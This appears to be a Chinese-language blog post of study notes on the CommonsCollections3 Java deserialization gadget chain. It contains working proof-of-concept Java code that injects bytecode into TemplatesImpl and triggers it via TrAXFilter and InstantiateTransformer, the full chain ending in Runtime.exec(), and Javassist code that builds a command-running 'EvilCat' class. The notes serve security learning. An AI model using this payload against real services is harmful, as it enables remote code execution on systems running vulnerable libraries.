唉,做事不细心,浪费好光阴啊!由于对java的了解甚少,于是我还是像以前那样随便使用的ysoserial和下载的commonscollections4.4进行漏洞利用,发现在jdk1.7时会提示Templates有问题,在jdk1.8还没有任何反应,然后通过不断的寻找,最后发现了原因,原来测试环境是:
-
JDK 1.7
-
Commons Collections 3.1
推荐使用maven搭建,引入依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.24.1-GA</version>
</dependency>
</dependencies>
。。。。。。。
那么在CommonsCollections3的学习之前,我们已经学习了1和2,那么3也会很好理解了,先看一下利用payload:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
public class demo {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
});
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
outerMap.put("1","1");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
在直接上别人写好的利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
我们可以看到新的东西就是InstantiateTransformer和TrAXFilter
那么我们先对这俩东西分别进行学习:
1.InstantiateTransformer
我们直接进入这个Transformer的transform方法看一下功能
发现他会判断input是不是class类型,是的话就使用反射获取其构造方法然后实例化一个对象并返回。
2.TrAXFilter
我们直接看一下它的构造方法
在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter
,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,
TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。
可能是我之前学习的时候不太认真,我到这会有疑问了,Templates和TemplatesImpl有啥关系?
这个可以追溯到TemplatesImpl的定义(关于继承或者接口的学习之后在回来重新看一下)
我们也可以测试一下
那么这样我们就可以认为上述思路成了(TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。)
那么对于payload代码的理解:构建一个TemplatesImpl对象,然后使用TrAXFilter作为出发点,这其中会生成一个TemplatesImpl对象并使用newTransformer这个方法,然后InstantiateTransformer使用反射将其实例化,因为之前通过反射的方法已经构造了执行命令的TemplatesImpl对象,然后加入到一个map中,这里使用的TransformedMap的方法,于是使用put方法的时候就会触发了。
因为TransformedMap使用的局限性,我们仍然可以使用LazyMap,然后参考commonscollections6使用TiedMapEntry和HashMap以及HashSet可以实现jdk7和8的所有版本的利用。
在这需要学习的新知识就是maven中引入依赖的javassist,javassist 用来动态修改类。
Javaassist 就是一个用来处理 Java 字节码的类库,其主要优点在于简单、便捷。用户不需要了解虚拟机指令,就可以直接使用Java编码的形式,并且可以动态改变类的结构,或者动态生成类。
Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。
-
ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。
-
CtClass:表示一个类,这些 CtClass 对象可以从ClassPool获得。
-
CtMethods:表示类中的方法。
-
CtFields :表示类中的字段。
Javassit官方文档中给出的代码示例如下
首先获取 ClassPool 的实例,ClassPool 主要用来修改字节码,并且在 ClassPool 中存储着 CtClass 对象,它能够按需创建出 CtClass 对象并提供给后续处理流程使用,当需要进行类修改操作的时候,可以通过 ClassPool 实例的.get()方法,获取CtClass对象。如在上述代码中就是从 pool 中利用 get 方法获取到了test.Rectangle对象,然后将获取到的 CtClass 对象赋值给cc变量。
需要注意的是,从 ClassPool 中获取的 CtClass 对象,是可以被修改的。如在上述代码中,可以看到,原先的父类,由test.Rectangle被改成了test.Point。这种更改可以通过调用CtClass().writeFile()将其持久化到文件中。
中文文档:Javassist中文技术文档 - 程序诗人 - 博客园
测试代码
// 使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
然后我们会生成一个class文件